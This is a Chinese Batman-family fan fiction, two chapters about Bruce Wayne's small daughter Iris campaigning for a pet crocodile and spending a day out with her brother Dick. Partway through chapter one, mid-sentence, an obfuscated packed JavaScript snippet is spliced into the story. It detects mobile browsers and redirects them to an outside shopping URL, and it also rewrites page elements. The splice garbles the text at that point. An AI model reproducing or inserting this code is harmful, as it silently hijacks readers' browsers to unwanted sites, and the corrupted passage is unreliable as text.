《[综英美]韦恩家的小鸢尾花》 1. 鳄鱼玩偶 哥谭从不祈祷。 这不是什么规矩,只是事实。这座城市的夜晚属于尖叫、警报和雨,属于恶人的狂笑和义警的沉默。祈祷在教堂里,在烛火前,在病床边——而哥谭太久没等来过回应。 但那夜不同。 蝙蝠侠坠入黑暗。不是比喻,不是夸张。他真的在下坠,火光从他身侧呼啸而过,他的披风像折断的翅膀。哥谭在那一秒收紧了心脏。 于是有人说了一声谢谢。 没有名字,没有对象,只是对着虚空,对着那抹坠落的身影。 第二天清晨,韦恩大宅的门阶上多了一个襁褓。 浅灰黑色头发,碧蓝眼睛,像哥谭海面倒映的晴天。 —— 艾瑞斯·韦恩四岁零三个月。她终于拜托了她的“嗜睡症”和她的小床挥手告别然后目的明确的跑进布鲁斯的房间 她是世界上最喜欢鳄鱼的小女孩——这个“最”字是她自己加的,并且愿意和任何人打赌。 她以前也不这样的。四岁生日那天,阿福给她放动物纪录片当睡前节目,她本来抱着小熊玩偶昏昏欲睡,直到屏幕里传来一声低沉浑厚的鸣叫。 艾瑞斯猛地坐起来。 “那是什么?” “短吻鳄,小姐。” “它叫得好听。” 阿福顿了顿,礼貌地没有反驳。 昨天晚起,艾瑞斯的人生有了新的方向。 —— 周六早晨七点十四分,布鲁斯·韦恩还在做梦。 具体是什么梦他不记得了,只知道梦里没有小丑、没有阴谋,他难得地放松了眉头。然后他感觉有人在拱他的被子。 一只毛虫。 不,是他的女儿。 艾瑞斯正以一种不可思议的姿势在床上翻滚,从床头滚到床尾,又从床尾滚回床头,浅灰黑的头发炸成一蓬小狮子鬃毛。她滚到布鲁斯枕边,停下来,用那双蓝汪汪的眼睛盯着他。 布鲁斯没睁眼。 “爸爸。” 他假装没听见。毕竟艾瑞斯在早晨这个时候是绝对不会起床的。 “爸——爸——” 艾瑞斯伸出手,精准地揪住他命运的后背衣角,用力一扯。 布鲁斯被迫从侧躺翻成平躺。他睁开眼,对上女儿那张理直气壮的小脸。 “我要养鳄鱼。” 布鲁斯眨了眨眼。 他刚醒。他四岁的女儿正跪在他床上,揪着他的睡衣,用宣布“我要吃冰淇淋”的语气宣布要养鳄鱼。他的大脑还在加载。 “……什么?” 艾瑞斯的手劲更大了。布鲁斯抓住自己岌岌可危的被角,终于舍得坐起来——然后被劈头盖脸糊了一堆鳄鱼图片。 他女儿不知道什么时候偷偷用了提姆办公室的打印机。彩色墨水。全是鳄鱼。 “这是短吻鳄,”艾瑞斯指着其中一张,声音清脆,“这是长吻鳄,这是凯门鳄,这是扬子鳄,这是——” “等等。”布鲁斯按住图片,“你从哪弄来的这些?” “阿福帮我查的。”艾瑞斯理直气壮,“他说知识是通往愿望的桥梁。” 阿福,布鲁斯在心里记了一笔。 艾瑞斯已经整个人趴到床边,仰着小脸,眼睛亮晶晶地望着他。那种眼神,布鲁斯只在超人脸上见过——一种“我真的真的很想要”的、毫无保留的渴望。 他沉默了三秒。 “不行。” 艾瑞斯的笑容凝固了。 艾瑞斯没有哭。 她只是把鳄鱼图片一张一张收好,踮着脚从床上爬下去,站在地板上,背对着布鲁斯。 然后她回头看了他一眼。 那一眼里没有委屈,没有泪花,只有一种平静的、近乎幽怨的目光。 布鲁斯忽然有一种不祥的预感。 —— 第一天,厨房。 阿尔弗雷德正在准备午餐。蔬菜汁在搅拌机里旋转出健康的绿色。他转过身,看见门口站着一个小小的身影。 艾瑞斯抱着胳膊,倚在门框上,表情严肃。 “潘尼沃斯先生。” 阿福挑起眉毛。小姐只有在非常正式的时候才会叫他“潘尼沃斯先生”。 “您觉得鳄鱼是好的动物吗?” 阿福放下搅拌机。这个问题比他预想的要棘手。 “鳄鱼是自然界的重要组成部分,小姐。” 艾瑞斯点点头。“那您觉得韦恩家应不应该支持自然保护?” 阿福沉默了两秒。 “您父亲对此的态度是……?” 艾瑞斯没有回答。她只是用那双蓝眼睛静静望着他,眼里满是失望。 阿福叹了口气。 “蔬菜汁。”他温和地说,“您今天的配额。” 艾瑞斯盯着那杯绿幽幽的液体看了三秒,转身走了。 阿福成功驱赶。但他知道这只是开始。 客厅。 迪克难得回大宅,正窝在沙发里刷手机。一道小小的黑影从走廊窜出来,精准地扑进他怀里。 迪克下意识接住,低头对上小团子软乎乎的脸。 “艾瑞斯!”他惊喜,“想哥哥了?” 艾瑞斯点点头,把脸埋进他胸口蹭了蹭。 迪克的心化成了一滩蜜。他搂紧妹妹,正要开口说带她去吃冰淇淋—— “迪克。” “嗯?” “你喜欢现在的名字吗?” 迪克愣了一下。“啊?” 艾瑞斯抬起脸,表情天真而认真。“如果你不支持我养鳄鱼,那以后你就只能叫鳄鱼了。” 迪克:“……” 迪克:“……这是什么新的威胁方式吗?” 艾瑞斯没有否认。面无表情装出一副大人样,像一只等待答案的小猫。 迪克张了张嘴。他想说我当然支持你,但那是布鲁斯的管辖范围;他想说要不你去找提姆试试,但这样出卖弟弟好像不太好;他还想说你怎么不威胁达米安—— 但最后他什么都没说出口。因为艾瑞斯那双眼睛实在太蓝了,蓝得像哥谭难得晴朗的天,蓝得像某种他无法拒绝的东西。 “……我中立。”他艰难地说。 艾瑞斯非常不满意的在迪克怀里扭动脱离怀抱,从他腿上滑下去,跑向楼梯。 迪克躺在沙发上,久久没有动弹。他觉得自己好像做错了什么,又好像什么都没做错。 花园。 达米安刚打算练刀。 他五岁起就跟塔利娅学习格斗,七岁就能放倒成年刺客,如今十一岁,已经能在不伤及植物的情况下削断三米外飘落的叶片。 他轻叹一口气。 然后他一转身,对上一双静静望着他的眼睛。 艾瑞斯蹲在灌木丛边,不知道藏了多久。 “你在这做什么?” 艾瑞斯没有回答。她只是蹲在那里,浅灰黑的头发上沾了一片叶子,看起来像一只迷路的小动物。 达米安皱起眉。他不擅长应付这个。他可以和刺客对打,可以和超人过招,但他不知道该怎么应对一个四岁妹妹的沉默注视。 “……你想说什么?”他硬邦邦地问。 艾瑞斯站起来,拍拍膝盖上的土。 “你不想吗?” 达米安:“想什么?” 艾瑞斯走近一步。 她的声音很轻,像恶魔低语。 “养鳄鱼。” 达米安沉默。 他当然知道这件事。全大宅都知道。杰森已经在群里发了一百条“我支持艾瑞斯什么时候投票”,提姆设置了消息免打扰,布鲁斯这几天肉眼可见地在逃避回家。 达米安本人对鳄鱼没有意见。鳄鱼是高效的捕食者,是侏罗纪的活化石,是值得尊敬的物种。他甚至觉得韦恩庄园完全可以辟出一块湿地—— 但他是布鲁斯的儿子。他不能就这么叛变。 “父亲不同意。”他说。 艾瑞斯歪着头,等待下文。 达米安握紧刀柄。“……我认为他的判断有待商榷。” 艾瑞斯眼睛亮了。 —— 当天晚上,战局初步形成。 布鲁斯阵营:布鲁斯本人,阿尔弗雷德(名义上),提姆(划水)。 艾瑞斯阵营:艾瑞斯本人,杰森(狂热支持者),达米安(沉默的共犯)。 迪克:持续中离中。 提姆觉得自己很无辜。 他只是在书房处理公司文件,门就被推开了。艾瑞斯抱着一只鳄鱼玩偶)今天阿福安慰她刚买的)走进来,爬上他对面的椅子,端端正正坐好。 提姆警惕地看着她。 “你有什么事吗?”艾瑞斯问。 “……什么?” 艾瑞斯把玩偶放在桌上,正色道,“想养一只水中小狗吗……它们不挑食,不占地方,还可以看家护院。” 提姆按了按太阳穴。 “艾瑞斯……” “是钱的问题吗?爸爸有很多钱。” “也不是钱的问题……” “那是空间的问题吗?庄园很大。” “是安全问题。”提姆尽量耐心,“鳄鱼是野生动物,不适合家养。而且——” 他顿住了。 艾瑞斯正低头抠玩偶的毛,声音小了下去。 “可是它们很可爱。” 提姆沉默了。 他想起自己十岁那年在屋顶拍到的蝙蝠侠。那张照片模糊、失焦,是他跟拍了三晚才抓到的瞬间。他把照片洗出来,贴在自己的小暗房里,每天晚上对着它睡觉。 那时候他也觉得蝙蝠侠很可爱。 不是那种可爱。是那种“世界很大很冷但有你存在就很好”的可爱。 “……我中立。”提姆说。 艾瑞斯抬起眼睛。 “但是,”提姆打开电脑,“我可以帮你做一份鳄鱼饲养可行性报告。万一布鲁斯哪天改主意呢。” 艾瑞斯抱着玩偶跳下椅子,跑到他身边,踮起脚。 提姆低下头。 艾瑞斯在他脸颊上响亮地亲了一口。 晚上,布鲁斯·韦恩站在自己的卧室门口,发现门缝底下塞了一封信。 淡绿色信封,用贴纸封口,上面歪歪扭扭写着“给爸爸”。 他拆开。 信纸被折成一只鳄鱼的形状(可能是鳄鱼,他不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244852|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很确定)。展开来,里面是艾瑞斯的笔迹,字母还写得不太整齐,有些地方有橡皮擦过的痕迹。 【亲爱的爸爸: 鳄鱼真的很乖。 它们不会吵,不会咬人,不会吃小动物。 我可以自己喂它,自己打扫,自己负责。 我真的很想要一只鳄鱼。 如果你让我养,我以后就不在早餐时挑胡萝卜了。 (括号:胡萝卜真的不能灭绝吗?爸爸你也不能挑食。) 爱你的艾瑞斯】 布鲁斯把信看了三遍,一时之间也不知道这个三分钟热度的孩子怎么能这么闹腾。 他把信折好,放进口袋,走到走廊尽头的儿童房。门虚掩着,里面亮着一盏小夜灯。他轻轻推开门。 艾瑞斯已经睡着了。 她侧躺在一堆玩偶中间,怀里抱着最大的一只,脸埋在玩偶软绒绒的肚皮上。月光从窗帘缝隙透进来,照在她安静的睡脸上。 布鲁斯在床边站了很久。 他想起那个没有祈祷的夜晚。他想起坠落时风割过面罩的缝隙,想起哥谭的钟楼在视野里越来越小,想起身体撞击水面时的剧痛。他不记得自己是怎么回到蝙蝠洞的,也不记得是谁替他处理了伤口。 他只记得第二天清晨,阿福抱着襁褓站在门厅,说:“先生,门阶上有一个孩子。” 那孩子的眼睛像哥谭晴天的海面。 布鲁斯俯下身,把被子往上拉了拉。艾瑞斯在睡梦中动了动,咕哝了一声,把鳄鱼玩偶抱得更紧。 —— 第二天早晨,艾瑞斯跑进餐厅。 她的鳄鱼军团——整整十二只玩偶(杰森战友友情捐赠)——在餐桌旁列队。她自己站在队伍最前面,表情庄严。 布鲁斯坐在主位,面前放着一杯咖啡。 艾瑞斯深吸一口气。 “爸爸——” “我考虑过了。” 艾瑞斯的话卡在喉咙里。 布鲁斯放下咖啡杯。 “活鳄鱼不行,你现在太小了。” 艾瑞斯的脸垮下来。 “但是,”布鲁斯说,“你可以有一屋子会叫的鳄鱼玩偶。” 艾瑞斯愣住了。 布鲁斯从椅子旁边拿出一个巨大的箱子。箱子上印着鳄鱼的图案,角落里写着“声控互动仿真鳄鱼——按下按钮会发出真实叫声”。 艾瑞斯呆呆地望着箱子,又抬头望向布鲁斯。 她的嘴巴张了张,哼哼唧唧。 然后她像一颗小炮弹一样扑进布鲁斯怀里,撞得他闷哼一声。 “我长大能养吗” 他抬手揉了揉她蓬乱的头发。 “不行。” 艾瑞斯就跳出布鲁斯的怀抱。 刚刚还在父慈女孝这一刻就翻船了。 …… 那天下午,艾瑞斯拥有了整整一屋子的鳄鱼玩偶。她还是挺高兴的。 大的小的,软的硬的,会叫的不会叫的,其中一只按下肚子会唱生日歌。杰森自告奋勇帮她拆包装,达米安在门口站了十分钟,假装路过,最后还是进来帮忙摆位置。提姆端着咖啡坐在角落,用手机录了一段艾瑞斯抱着新玩偶转圈的视频。 迪克终于从外地赶回来,看到满屋鳄鱼倒吸一口气,然后被艾瑞斯拽着给每一只起名字。 阿福站在走廊,望着房间里热闹的景象,轻轻弯起唇角。 布鲁斯靠在门框边,没有进去。 他看着艾瑞斯坐在鳄鱼玩偶堆成的山顶,举着最小的一只,像狮子王里的加冕。她笑得眼睛弯起来,露出缺了一颗的门牙。 “布鲁斯!”她宣布。 杰森笑得捶地。提姆呛到了咖啡。达米安别过脸,肩膀在抖。 布鲁斯沉默了两秒。 “……那只是短吻鳄。” 艾瑞斯眨眨眼。“对呀。” 她低头亲了亲玩偶的额头。 布鲁斯没有再说话。 —— 那天晚上,布鲁斯独自坐在书房。 他的手机屏幕亮着,是一封没有发出的邮件。收件人是克拉克·肯特。 【你有没有遇到过这种情况—— 算了。】 他删掉了。 窗外哥谭的夜空依然沉重,依然没有星星。蝙蝠灯亮起来了,蝙蝠车在车库里等待出动。 布鲁斯把艾瑞斯那封鳄鱼形状的信压在书桌玻璃板下面,压在他父母的照片旁边。 他垂着眼睛看了很久。 然后他听见门边传来轻轻的脚步声。他转过头。 艾瑞斯抱着那只叫布鲁斯的鳄鱼玩偶,站在门口,睡眼惺忪。 “爸爸。” “嗯。” “你怎么还不睡觉。” “等会儿睡。” 艾瑞斯揉揉眼睛,走过来,熟练地爬上他的腿,窝进他怀里。鳄鱼玩偶挤在两人中间,扁扁的肚子被压得发出咕的一声。 布鲁斯没有动。 窗外是哥谭的夜。窗内是他四岁的女儿,抱着一只鳄鱼玩偶。在他以为艾瑞斯会要求一起晚睡时,艾瑞斯拖着玩偶回房间了。 布鲁斯:第一次体会到失宠的感觉…… 2. 日常1 艾瑞斯的房间里堆满了玩偶。 这不是夸张,是事实陈述。从床头到床尾,从窗台到书架,每一寸能放东西的平面都被占领了。最大的那只短吻鳄趴在飘窗上,中等体型的凯门鳄挤在衣柜顶端,最小的那几只——杰森称之为“鳄鱼宝宝突击队”——整整齐齐排列在床头柜上,每晚轮流值班守卫主人的睡眠。 而艾瑞斯的床边围着一圈鳄鱼玩偶。 最内层是精英守卫,正对着床铺。外层是常规部队,背对着房间。这种布阵方式是艾瑞斯自己设计的,灵感来源于某天下午看的动物纪录片——鳄鱼妈妈会围成一圈保护幼崽。现在她是被保护的那个。 aaa布鲁斯被她抱在怀里。 这只鳄鱼玩偶的名字叫“aaa布鲁斯”,因为它的名字和鳄鱼重合后每次她叫鳄鱼布鲁斯都会看向她。 布鲁斯本人对此没有发表评论。 此刻,aaa布鲁斯被艾瑞斯勒在胸前,扁扁的鳄鱼脸挤在她下巴底下。艾瑞斯睁着眼睛,望着天花板,暂时没有起床的想法。 她醒是醒了,但起床是另一回事。 —— 介于艾瑞斯随时爱趴着玩的原因,她床下的地板都铺着厚厚的毛垫。 这是阿福的创意。自从某天发现艾瑞斯趴在地上画鳄鱼画到睡着之后,他就默默量了尺寸,定制了这整块的加厚羊毛垫。现在艾瑞斯可以从床上直接滚下来,在地垫上继续翻滚,完全不会着凉。 地垫是浅灰色的,艾瑞斯要求选的色号——“因为这样别人看她会觉得她看起来很深沉”。 艾瑞斯的起床时间最晚是八点半。 这是阿福的底线。 不是刻意的规定,而是多年的经验。如果八点半还没起床,艾瑞斯就会错过早餐的最佳温度,错过早晨的阳光,错过花园里小鸟最活跃的时候。阿福不忍心让她错过任何东西。 当然,还有一个更现实的原因:如果让她睡到九点,晚上她就会精神抖擞地缠着布鲁斯看动画片看到十一点。布鲁斯虽然嘴上不说,但第二天早上开会打哈欠的频率明显上升。 所以八点半,雷打不动。 艾瑞斯对此也有自己的解释:她起床后的第一件事就是坐在床上睡十分钟。她真的很困。她也不知道为什么,可能是遗传的吧。 布鲁斯不就是很贪睡吗? 嗯嗯,布鲁斯是一只大贪睡鬼,所以她贪睡也很正常。 这个逻辑链条非常完美。 —— 八点二十五分。 阿尔弗雷德站在走廊里,望着那扇紧闭的卧室门。 门上挂着一块手绘的牌子,是艾瑞斯的每日更新项目。今天的牌子是浅粉色的卡纸,上面用彩色蜡笔画着一只胖乎乎的橘猫,猫的胡须翘向两边,尾巴高高扬起,旁边歪歪扭扭写着一行字: [我要只咪咪] 字母的排列有些混乱,“咪”字写得特别大,占了两个字母的位置。但整体来看,还是能辨认出意思的。 阿福弯起唇角。 艾瑞斯每天都会更新她的门牌,顺便写一些内容。有时候是心情记录,比如[今天不开心]或者[阿福最好了];有时候是许愿,比如[想吃草莓]或者[不要蔬菜汁]。如果发现门牌长期关于一个主题——比如连续三天都是“咪咪”——那基本可以确定,艾瑞斯又在许愿了。 她可以是这个庄园里最直接的人。想干什么、想要什么、想说什么,她都畅畅快快地表达出来,从不藏着掖着。 这一点让阿福有时想起年轻的布鲁斯。那时候的布鲁斯也是这样的,有什么想法就直接说,想出去玩就直接跑,开心就笑,难过就哭。 后来就变了。 但艾瑞斯还在那个年纪。阿福希望她能一直这样。 艾瑞斯特别爱许愿。 当她三岁第一次听到圣诞老人会送礼物的故事时,她非常乖巧地当了一天的好孩子。然后她就不再相信圣诞老人了。 原因很实际:离圣诞节还有很长的时间,她认为自己根本不可能每天都乖乖巧巧的。这太累了,不符合她的人生哲学。 但是其他小朋友都有圣诞老人的拜访,她也不能没有。 于是她在自己的门上画了一只橘猫。 艾瑞斯的画技很好——至少在四岁这个年龄段算是出类拔萃。她画的橘猫有圆滚滚的脸,翘翘的胡子,还有一条蓬松的大尾巴。她在猫头顶画了一顶红色的圣诞帽,在猫尾巴上画了一袋礼物。 这就是她的圣诞老人了。 她觉得让老爷爷到处送礼物是件很坏的事。那么大年纪了,还要爬烟囱,还要背着那么重的袋子,还要在雪地里走来走去。这不就是让布鲁斯去上班吗?这是虐待。 布鲁斯后来听说了这个评价。 布鲁斯:我的女儿别太善良。 —— 八点二十八分。 房间里毫无动静。 阿福抬手看了看表。按经验,现在艾瑞斯应该已经醒了,正在经历她的“神志不清十分钟”。也许他不应该让她每天晚上都去找布鲁斯的——布鲁斯总是会在艾瑞斯的央求下让她多看一集动画片。 昨天是《动物星球·鳄鱼特辑》。 今天早上赖床是预料之中。 阿福耐心地等着。 —— 八点三十五分。 门把手转动了。 艾瑞斯出现在门口。 她穿着鳄鱼睡衣。灰绿色的连体衣,背后有一条软趴趴的小尾巴,帽子是鳄鱼头的形状——大大的嘴巴张着,露出红色的内衬,里面是一张眯着眼的圆脸。 鳄鱼艾瑞斯伸出手,迷迷糊糊地抓向阿福的衣边。 阿福低下头,对上那张还没完全清醒的小脸。 “早安,艾瑞斯小姐。” 艾瑞斯没有回答。她只是攥着他的衣角,像一只小鸭子跟着鸭妈妈一样,迷迷糊糊地跟随着他的步伐下楼。 下楼的过程中她差点踩到自己的尾巴两次。 —— 餐厅里飘着早餐的香气。 迪克坐在餐桌旁,手里端着一杯咖啡,眼睛却一直望着楼梯口。他一个月总会腾出时间回来看艾瑞斯,这次趁着假期,昨晚连夜开车回来的。 艾瑞斯出现在楼梯转角的那一刻,迪克的眼睛就亮了。 “艾瑞斯!” 他放下咖啡杯,大步走过去,一把将迷迷糊糊的小鳄鱼抱起来。 “让我看看我的小妹妹——哎,还穿着鳄鱼睡衣呢,今天是要变身吗?” 艾瑞斯在他怀里软绵绵地挂着,像一只没睡醒的小考拉。 迪克把她抱到儿童椅上,小心翼翼地放好,调整好靠垫的位置,又把餐巾围在她脖子上。虽然艾瑞斯并不需要这些——她四岁了,完全可以自己爬上椅子,自己系餐巾——但是迪克非常需要。 他需要抱抱她。需要感觉到她软乎乎的小身子在自己怀里。需要听到她迷迷糊糊的呼吸声。 这是他一个月一次的充电时间。 阿福端着早餐走过来,看着迪克一脸心满意足的样子,弯了弯唇角。 艾瑞斯是一位只有吃完早餐后才算真正醒的小女孩。在没吃早餐前,她都是乖宝宝状态,迪克可以随意地贴贴小妹妹。 此刻艾瑞斯正望着面前的牛奶发呆。她的眼睛半睁着,睫毛一颤一颤的,鳄鱼帽子还戴在头上,红色的鳄鱼嘴巴框着她困倦的小脸。 迪克趁机捏了捏她的脸。 艾瑞斯没有反抗。 迪克又捏了捏。 艾瑞斯还是没反抗。 迪克得寸进尺,把她头上的鳄鱼帽子往下拉了拉,盖住她的眼睛。 艾瑞斯终于动了。她把帽子推上去,看了迪克一眼,又低下头,开始喝牛奶。 迪克捂着心口,无声地尖叫。 —— 早餐结束后,艾瑞斯终于正式苏醒了。 她放下牛奶杯,眨了眨眼睛,那双蓝汪汪的眼睛终于有了焦点。她看向迪克,又看向阿福,又看向窗外。 “今天太阳好好。” 她宣布。 迪克凑过来。“想出去玩吗?” 艾瑞斯想了想。“想。” “想去哪?” 艾瑞斯没有立刻回答。她托着下巴,认真思考起来。 —— 艾瑞斯喜欢外出游玩。 准确地说,她喜欢逛街。不是那种目的明确的购物,而是漫无目的地走,看外面多彩的世界。哥谭的街道对很多人来说是危险的,对艾瑞斯来说却是巨大的游乐场。 她喜欢看街边的橱窗。珠宝店的玻璃后面亮晶晶的,服装店的模特穿着奇怪的衣服,书店的门口堆着小山一样的图书。她喜欢看路上的行人。穿西装的叔叔,拎着菜篮的奶奶,抱着公文包匆匆走过的阿姨,牵着气球的小孩。 她喜欢看一切。 有一次迪克带她出去,她站在街角看了十五分钟的交通信号灯。红灯亮,绿灯亮,黄灯闪一闪。红灯亮,绿灯亮,黄灯闪一闪。 “你在看什么?”迪克问。 “它一直在变。”艾瑞斯说。 迪克不知道该怎么解释交通信号灯的原理,最后只是陪她一起站着,看了十五分钟。 —— 今天,艾瑞斯的逛街目标又多了一个:她想买漂亮的东西。 “什么是漂亮的东西?”迪克问。 艾瑞斯想了想。“就是漂亮的。” “比如说?” 艾瑞斯伸出一只手,开始数:“上次那个亮晶晶的发卡,上上次那个有闪粉的贴纸,上上上次那个会发光的小瓶子。” 迪克懂了。就是一切亮晶晶、闪粉粉、会让成年人觉得“这有什么用”的东西。 “走,”他站起来,“哥哥带你去买。” ——— 艾瑞斯喜欢买东西。 不是那种“我要这个”的买,而是那种“这个好看,那个也好看,这个也好看,我都想要”的买。她的审美很直接——闪的、亮的、彩色的、会动的。至于有什么用,她不在乎。 布鲁斯对此有过评论:“她以后可能需要我们给很多零花钱。她只需要每天在街上走一圈,就能买回一堆亮晶晶的东西。” 阿福回答:“先生,小姐没有买。她捡了瓶盖和糖纸。” 布鲁斯沉默了一下。“……她说那是宝石。” 阿福微笑。“是的,先生。她说那是宝石。” —— 迪克带着艾瑞斯出了门。 她换掉了鳄鱼睡衣,穿上了黄色的短袖与背带裤,白色的袜子,圆头的小皮鞋。但她坚持要把鳄鱼帽子带上,顶在头上,像一顶奇怪的帽子。 迪克没有反对。 哥谭的街道今天难得的安静。阳光从高楼大厦的缝隙里漏下来,在地上铺出一块一块的光斑。艾瑞斯走在光斑里,踩一下,跳过去,再踩一下,再跳过去。 迪克跟在她后面,看着她蹦蹦跳跳的背影。 他们路过一家饰品店。艾瑞斯停了下来,鼻子几乎贴在玻璃上。 橱窗里摆着一排发卡。粉色的蝴蝶结,银色的星星,彩色的花朵,还有一只小鳄鱼。 艾瑞斯的眼睛亮了。 “那个!” 她指着小鳄鱼发卡。 迪克弯下腰看了看。“哪个?” “那个!鳄鱼!” 迪克仔细辨认了一下。那确实是一只鳄鱼——绿色的,长嘴巴,短腿,趴在一朵花旁边。如果不仔细看,很容易被当成一只胖蜥蜴。 “走,”迪克拉起她的手,“进去买吧。” —— 艾瑞斯抱着小鳄鱼发卡走出店门,脸上带着心满意足的笑容。 她把发卡举起来,对着阳光看了看。小鳄鱼在光线下闪着绿色的光泽,眼睛是两颗小小的黑珠子。 “它好看。”她宣布。 “嗯,好看。”迪克附和。 艾瑞斯把发卡小心翼翼地装进口袋,然后又抬起头,望着街对面。 街角有一家书店,门口堆着小山一样的图书。旁边有一家面包店,玻璃柜里摆着金黄色的牛角包。再往前,有一家玩具店,橱窗里摆着一只巨大的毛绒熊。 艾瑞斯的视线在那些橱窗之间来回移动。 “还想逛吗?”迪克问。 艾瑞斯点点头。 “那就逛。” 迪克拉起她的手,走向下一个橱窗。 —— 下午三点,艾瑞斯抱着战利品回到家。 小鳄鱼发卡别在她的头发上,一闪一闪的。手腕上套着一个彩色的塑料手环,是路边摊的阿姨送的。口袋里装着三颗亮晶晶的玻璃珠,是她从公园沙坑里挖出来的。 她的脸因为兴奋而红扑扑的。 布鲁斯站在门厅里,看着自己的女儿像一只小蝴蝶一样飘进来。 “爸爸!”艾瑞斯跑过去,高高举起手腕,“你看!” 布鲁斯低头看了看那个塑料手环。粉色的,上面印着卡通独角兽,边缘还有一点毛刺。 “好看。”他说。 “这个是送的!”艾瑞斯又掏出口袋里的玻璃珠,“这个是我挖到的!这个是宝石!” 布鲁斯接过那三颗玻璃珠,认真地看了看。 “确实是宝石。”他说。 艾瑞斯满意地收回她的宝藏,然后忽然想起什么,踮起脚,指着自己头上的发卡。 “这个!这个是鳄鱼!” 布鲁斯弯下腰,仔细端详那只小鳄鱼发卡。 绿色的,长嘴巴,短腿,眼睛是两颗黑珠子。 “很配你。”他说。 艾瑞斯笑得眼睛弯起来。 —— 晚上,艾瑞斯窝在客厅的沙发上看电视。 迪克坐在她旁边,布鲁斯坐在另一侧的单人沙发里,手里拿着一份文件,但眼睛时不时飘向电视屏幕。 艾瑞斯什么都爱看。 动物纪录片是首选,尤其是关于鳄鱼的。她可以目不转睛地看完整整一集,然后缠着阿福问一百个问题。科普节目她也喜欢,虽然有些概念她还听不懂,但她喜欢那些花花绿绿的画面。 动画片当然也看,但她不是那种只认准一部的孩子。今天看这个,明天看那个,全凭心情。有时候看到一半觉得没意思,就换台,换到有意思的为止。 最让家人意外的是,她还爱看一些“大人”的节目。 有一次迪克在看犯罪剧,艾瑞斯凑过来,看了十分钟,然后指着屏幕说:“他是坏的。” 迪克震惊。“你怎么知道?” “他的眉毛这样。”艾瑞斯学着那个演员的样子,把眉毛往下压了压。老实是她这个年龄干什么都很可爱,特别是在模仿别人表情的时候。所以艾瑞斯很容易被她的狂热粉丝迪克奖励亲吻,所以被奖励方似乎是迪克。 迪克后来专门留意了一下,发现那个角色真的是反派。 还有一次,布鲁斯在看新闻,艾瑞斯爬到他腿上,跟着看了一会儿。画面里 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太阳已经西斜,花园里的影子被拉得很长。玫瑰花开得正好,红的、粉的、黄的,挤挤挨挨地凑在一起。喷泉在夕阳下闪着细碎的光。 “今天开心吗?”迪克走过来,蹲在她旁边。 艾瑞斯想了想。 她想起早上的赖床,想起阿福在门口等她的样子,想起迪克抱她坐上餐椅的手,想起街上亮晶晶的橱窗,想起小鳄鱼发卡,想起塑料手环,想起三颗“宝石”,想起电视里的树懒和猴子,想起窗外的花园和夕阳。 “开心。”她说。 迪克笑了,伸手揉了揉她的头发。 —— 晚餐时分,艾瑞斯坐在她的儿童椅上,面前摆着阿福精心准备的晚餐。 蔬菜泥,肉丸,土豆泥,还有一小碗水果。 艾瑞斯对着蔬菜泥皱起眉头。 “先吃完蔬菜,再吃肉丸。”阿福温和地说。 艾瑞斯看看蔬菜泥,又看看肉丸,拿起勺子,舀了一小口蔬菜泥,送进嘴里。 她的眉头皱得更紧了。 但还是一口一口地吃完了。 布鲁斯坐在主位,看着女儿一脸苦大仇深地吃蔬菜,嘴角微微翘起。 吃完蔬菜泥,艾瑞斯立刻抓起肉丸,咬了一大口。 “我觉得我们可以召开一次国际会议讨论如何消灭蔬菜……”她深沉的说到。 “我觉得这恐怕不行”迪克说,“艾瑞斯女士。” 艾瑞斯看向迪克,又咬了一口肉丸。 “迪克先生你是蔬菜请来的说客吗……”眼神变得危险起来。 看着模仿着昨天密谋案里侦探的艾瑞斯,布鲁斯发誓他真的真的不会让艾瑞斯再看那么多的电视剧了。 艾瑞斯然后忽然想起什么,看向布鲁斯。 “这位布鲁斯先生,你小时候也吃蔬菜泥吗?” 布鲁斯顿了顿。 “……吃。” “你喜欢吗?” 布鲁斯沉默了一秒。 “……喜欢。” 艾瑞斯不满意的摇摇头一副爸爸我对你很失望的模样,看向阿福。 “阿福说过爸爸小时候挑食。” 阿福微笑着看了布鲁斯一眼。 “是的,小姐。我记得很清楚。” 布鲁斯端起咖啡杯,挡住了自己的脸。 —— 晚餐后,艾瑞斯照例去找布鲁斯。 这是她每天晚上的保留项目。不管白天玩得多疯,晚上总要来布鲁斯的房间待一会儿。有时候是看动画片,有时候是听故事,有时候什么都不做,就是窝在他怀里发呆。 今天她带着aaa布鲁斯一起来的。 布鲁斯坐在床沿,看着女儿抱着那只鳄鱼玩偶爬上来,熟练地钻进他怀里。 “今天玩得开心吗?”他问。 “开心。”艾瑞斯把aaa布鲁斯放在腿上,一下一下地捏它的肚子。 “买了什么?” 艾瑞斯抬起头,让他看头上的发卡。 布鲁斯早就看到了。那个绿色的小鳄鱼发卡,别在她浅灰黑的头发上,像一个小小的守护者。 “很好看。”他说。 艾瑞斯笑得眯起眼睛。 窗外,哥谭的夜渐渐深了。 但韦恩大宅的这间卧室里,灯还亮着。一个父亲,一个女儿,一只会叫的鳄鱼玩偶,还有无数个平凡的夜晚。 艾瑞斯打了个哈欠。 布鲁斯低头看了看她。“困了?” “有一点。” “回房间睡?” 艾瑞斯摇摇头,往他怀里拱了拱。 布鲁斯没有动。 过了一会儿,艾瑞斯的声音闷闷地传来:“爸爸。” “嗯。” “明天我想在门牌上写[阿福很好]。” “可以。” “后天写[迪克也很好]。” “可以。” “大后天写[杰森也还好]。” “……可以。” “大大后天写——” “你可以每天换一个,”布鲁斯打断她,“只要记得写我就行。” 艾瑞斯抬起头,眨眨眼睛。 “你也要吗?” 布鲁斯看着女儿那双蓝汪汪的眼睛,忽然有点不自在。 “……随便。” 艾瑞斯盯着他看了三秒,然后笑了。她把脸埋回他怀里,声音闷闷的: “好吧。那我写[爸爸是贪睡鬼]。” 布鲁斯:“……” ——— 那天晚上,艾瑞斯在布鲁斯怀里睡着了。 布鲁斯把她抱回她的房间,轻轻放在床上,给她盖好被子。那群鳄鱼玩偶围成一圈,守护着它们的小主人。 